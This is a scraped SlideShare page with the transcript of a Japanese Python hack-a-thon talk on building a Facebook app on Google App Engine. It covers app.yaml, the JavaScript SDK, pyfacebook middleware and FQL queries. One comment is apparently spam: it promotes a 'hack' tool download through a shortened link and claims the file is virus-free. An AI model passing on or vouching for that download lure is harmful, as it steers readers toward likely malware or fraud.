Python Hack A Thon 3 Facebook Application On A
Upcoming SlideShare
Loading in...5
×
 

Python Hack A Thon 3 Facebook Application On A

on

  • 3,353 views

 

Statistics

Views

Total Views
3,353
Views on SlideShare
3,341
Embed Views
12

Actions

Likes
2
Downloads
13
Comments
1

2 Embeds 12

http://www.slideshare.net 10
http://paper.li 2

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
  • Free Download : http://gg.gg/114bb

    Hey Guyz and girls, Today I am gonna show you perfact tool, Remember This video is old, But the download link with hack is brand new. Its very simple to using this tool and here are some instructions in video. Please REDOWNLOAD. Don't Forget to Comment Subscribe & Rate My Video :)

    Virus Scan :- This file has been scanned with avast! Antivirus. -- Status: FILE IS CLEANN.

    Copyright © 2014. All Rights Reserved
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Python Hack A Thon 3 Facebook Application On A Python Hack A Thon 3 Facebook Application On A Presentation Transcript

  • Python Hack-a-thon #3 Facebook application on appengine aodag http://blog.aodag.jp/ twitter: @aodag http://www.facebook.com/aodag
  • Facebookアプリを作ってみよう Facebook Facebookアプリ
  • Facebook
  • Facebook いわゆるSNS 世界最大 Flickrよりも写真が多いとか twitterのようなアクティビティストリーム リンクや写真などを共有 グループ などなど
  • Facebookアプリ Facebook上で動くアプリケーション ユーザーの情報を取得できる ユーザーの友達の情報を取得できる アプリ上での行動をアクティビティに投稿できる などなど  
  • Facebookアプリ FBML アプリが作成したFBMLをFacebookがHTMLに変換する。 サーバーサイドで各種クライアントライブラリを使ってFacebookの機 能にアクセスする。 IFRAME アプリが作成したHTMLをIFRAME内で表示する。 XFBMLで、FBMLの機能を一部利用できる。 Javascript SDKでFacebookの機能を使える。 サーバーサイドからのアクセスも可能。
  • FBML
  • IFrame
  • Google App Engineで Facebookアプリを作るには 準備 Facebook開発者アプリで、appkeyとsecretを取得する。 http://www.facebook.com/developers   xd_receiver.htm をダウンロードする。 http://www.somethingtoputhere.com/xd_receiver.htm
  • app.yaml ... handlers: - url: /   static_files: static/index.html   upload: static/index.html - url: /xd_receiver.htm   static_files: static/xd_receiver.htm   upload: static/xd_receiver.htm - url: .*   script: main.py
  • index.html <!-- javascript libraryをインポート -->     <script type="text/javascript" src="http://static.ak. connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php" ></script>  <!-- jqueryとかもインポート --> 略 <!-- 初期化 -->     <script >       apikey = "d831ba0c7dd7b830572fb5f928f94bc4";       FB.init(apikey, "xd_receiver.htm");       FB.ensureInit(function() { $(function() { // ここで初期化 }); });     </script>
  • main.py wsgiミドルウェア   application = webapp.WSGIApplication([('/fbprofile', ProfileHandler)],                                        debug=True)   import facebook.wsgi as facebook   import settings   application = facebook.FacebookWSGIMiddleware (application,                                                 settings.fbconfig)   util.run_wsgi_app(application)
  • さらにmain.py リクエストハンドラ class FacebookHandler(webapp.RequestHandler):     def init(self, request, response):          """          Facebook用スーパークラス          """          super(FacebookHandler, self).init(request, response)          self.facebook = request.environ['pyfacebook.facebook']          if self.facebook.check_session(self.request):              self.request.remote_user = self.facebook.uid
  • FBML ログインユーザー名を表示する例  <fb:name uid="loggedinuser" /> ユーザー12345のプロフィール写真を 表示する例   <fb:profile-pic uid="12345" linked=" true" />
  • FBMLをJavascriptライブラリで変換する FB.XFBML.Host.parseDomTree();
  • FQL (´-`).。oO(また新しいQuery Languageか)  
  • FQLの例 SELECT name  FROM album  WHERE  owner IN (     SELECT uid2      FROM friend      WHERE uid1 = 530888600) aodag(530888600)の友達のアルバム名を全て取得する
  • FQLをJavascriptクライアントから呼ぶ FB.Facebook.apiClient.fql_query(query,      function(result) {         //なんか 処理する     });